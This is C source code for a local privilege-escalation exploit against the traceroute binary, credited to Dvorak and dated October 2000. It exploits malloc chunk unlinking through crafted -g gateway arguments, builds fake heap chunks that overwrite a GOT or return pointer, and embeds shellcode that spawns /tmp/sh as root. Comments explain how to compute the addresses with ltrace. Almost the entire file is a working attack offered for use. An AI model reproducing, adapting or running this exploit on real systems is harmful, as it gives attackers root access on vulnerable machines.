/*
	argv0: at first it looks that this doesn't matter but since
             this is the value found at the top of the stack and thus
             it's length matter for the location of the shellcode.

	argv0: bs

      argv1: nothing is needed for this it should just contain
             6 bytes and a 0 (and off course it should be acceptable
             to inet_addr)
	argv1: only specific length
	       addr1 will become: 4 bytes from addr2 + zeros
             length so that p->size = last byte + 3 zeros
             p->prev_size = first 3 bytes + 00
             thus: 6 bytes + 0
             p data:
             size = 0x20 or so;
             prev_size = ((char *)p) - ((char *) eleet stack pointer)
             p = addr2 - 7 - 8

             so next data should be on addr2 + 0x20 - 7 - 8
      argv2: this requires much more thought, the ip_address should be
             so that p->prev_size and p->size make sense.
             p->prev_size should be so that prev can be found on the
             stack since that's an easy place to put it, p->size should
             be 0x20 or so so that we can put the next chunk in this
             argument too.
	argv2: ip addres so that: p->size makes sure next is
	       somewhere in argv2
		p->prev_size should point to eleet data on stack (through
		environment)
		spacing: next data:
			prev_size = 0x41414141;
			size = 0xfffffff0
			fd = some_random_pointer (or you could use him)
			bk = some_random_pointer
		after that: data for next (prev_size + size + fd + bk)
		prev_size probably negative
      argv3: contains the chunk used for prev and the shellcode
             including the jmp.
	argv3: eleet data on stack + eleet shellcode baby
             eleet data:
             prev_size = BS;
             size = BS
             fd = &ret_addr_change - 12
             bk = shellcode;
             shellcode = jmp forward + nops + code

      How to get the correct value for p?

      $ cp /usr/sbin/traceroute ./tra
      $ ltrace ./tra -g1

     gtx.
     Dvorak (dvorak@synnergy.net)

*/

#include <stdio.h>

/*
easy shellcode - remember there is a certain trick in this baby like
not starting /bin/sh but /tmp/sh (yes the 0 byte is written by the
code itself so make sure there is something worthwhile in /tmp/sh
 */
char shellcode[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/tmp/sh-O=";

/*
 code to jump forward
 */
char jmp_forward[] = "\xeb\x0c";

/*
 again the stupid make_addr function ;)
 */
void make_addr(char *res, unsigned int val)
{
	int i;
	char *p = (char *) &val;

	for (i = 0; i < 4; i++)
		res[i] = (char) *p++;
	res[i] = '\0';
}

/*
 which argument number contains the leet_addr and the shellcode?
 */
#define LEETARG 7

int main(int argc, char *argv[])
{
	char addr1[1000];
	char addr2[1000];
	char padding[256];
	char execute_me[1000];
	int execute_shift = 0;
	/* next data: prev_size = crap, size=crap and fd and bk
	   point to someplace innocent in the stack, if you want
	   to you can use it to change a second memory place.
	 */
	char *next_data = "\x41\x41\x41\x41\xf0\xff\xff\xff"
	                  "\xf0\xfd\xff\xbf\xf0\xfd\xff\xbf";
	char *leet_data;
	/*
	 The arguments to start traceroute with, -g separated from its
	 argument because of getopt.
	 */
	char *arg[] = {"/usr/sbin/traceroute", "-g", addr1, "-g",
	           addr2, "127.0.0.1", "12", execute_me, NULL};
	unsigned int leet_amount;
	/*
	 This needs some explanation: since the prev chunk will be at
	 a certain distance from p we need to know p since it changes
	 from binary to binary we'll let the attacker figure it out
	 and give it to us ;).
	 */
	unsigned int p = strtoul(argv[2], 0, 0);

	char shell_addr[5];
	char ret_addr[5];

	/* the first addr 6 bytes long */
	snprintf(addr1, sizeof(addr1), "1.2.11");

	/*
	 First we fill execute_me (which will make the LEETARG) with
	 0x41 thats both a NOP and easy to find on the stack.
	 */
	memset(execute_me, 0x41, sizeof(execute_me));

	/*
	 We put the shellcode and the jmp at the end of execute_me
	 */
	strncpy(execute_me+sizeof(execute_me)-strlen(shellcode)-20-1,
	        jmp_forward, strlen(jmp_forward));
	strcpy(execute_me+sizeof(execute_me)-strlen(shellcode)-1,
	       shellcode);

	/*
	 Calculate the address of the shell_code
	 the stack at startup looks like:
	 arg4 arg5 arg6 argLEETARG environment arg0 4 bytes
	 since the environment is gone and LEETARG is the last argument
	 we only need the length of the shellcode and the length of arg0
	 */
	make_addr(shell_addr, 0xc0000000 - 4 - (strlen(arg[0]) + 1) -
	          (strlen(shellcode) +1 + 20));
	/*
	 We also ask the attacker to give the address of the pointer to
	 change to point to the shellcode. Something in the GOT is
	 usually very nice
	 */
	make_addr(ret_addr, strtoul(argv[1], 0, 0) - 12);

	/*
	 leet_data should be in 0xbfff fe00 + (p & 0xff)
	 now we calculate the address where chunk_free() will look for
	 prev chunk.
	 We put prev chunk somewhere between 0xbffffe00 and 0xbfffff00
	 the precise position is defined by the lsb of p.
	 */
	printf("p: 0x%08x\n", p);
	leet_data = (char *) (0xbffffe00 + ((int)p & 0xff));
	printf("leet_data: 0x%08x\n", leet_data);
	/*
	 calculate the value of p->prev_size
	 */
	leet_amount = p - (0xbffffe00 + ((int)p & 0xff));
	printf("leet_amount: 0x%08x\n", leet_amount);
	
	/* the end of execute_me will be on 0xc0000000 - 8
	   length of execute_me should thus be:
	   0xc0000000 - leet_data - 8
	   2 possibilities: either don't put the fake prev chunk at the
	   beginning of execute_me or change the length of execute_me
	   we choose the latter.
	 */
	execute_shift = sizeof(execute_me) -
	  (0xc0000000 - (int) leet_data - 4 - (strlen(arg[0]) + 1));
	printf("execute_shift: %d\n", execute_shift);

	arg[LEETARG] += execute_shift;

	/*
	 use strcpy not snprintf since snprintf does 0 terminated its
	 strings
	 */
	strncpy(arg[LEETARG], "\x41\x41\x41\x41\x31\x31\x31\x31", 8);
	strncpy(arg[LEETARG]+8, ret_addr, 4);
	strncpy(arg[LEETARG]+12, shell_addr, 4);

	printf("execute_len:%d arg0%d\n", strlen(arg[LEETARG]),
	       strlen(arg[0]));
	printf("execute_me_addr: %08x\n", 0xc0000000 - 4 -
	       strlen(arg[0]) - strlen(arg[LEETARG]) - 2);

	/*
	 pad the second -g option to place next chunk on the expected
	 position
	 */
	memset(padding, ' ', sizeof(padding));

	/*
	 0x20 - p->size
	 - 7 because thats the size of addr1
	 - 8 for p->size and p->prev_size
	 - 12 for addr2 (xx.xx.xx.xx )
	 */

	padding[0x20 - 7 - 8 - 12] =  '\0';
	printf("padding: %d bytes\n", strlen(padding));

	/*
	 put hex equivalent of leet amount in ip_address
	 */
	snprintf(addr2, sizeof(addr2),
	         "0x%02x.0x%02x.0x%02x.0x%02x%s%s",
	         ((unsigned char *) &leet_amount)[1], 	
	         ((unsigned char *) &leet_amount)[2], 	
	         ((unsigned char *) &leet_amount)[3], 	
	         0x20,
	         padding, next_data);
	/*
	 This time it should work ;)
	 */
	printf("Going for root!!!\n");
	execve(arg[0], arg, NULL);
}
/*                   www.hack.co.za     [17 October 2000]*/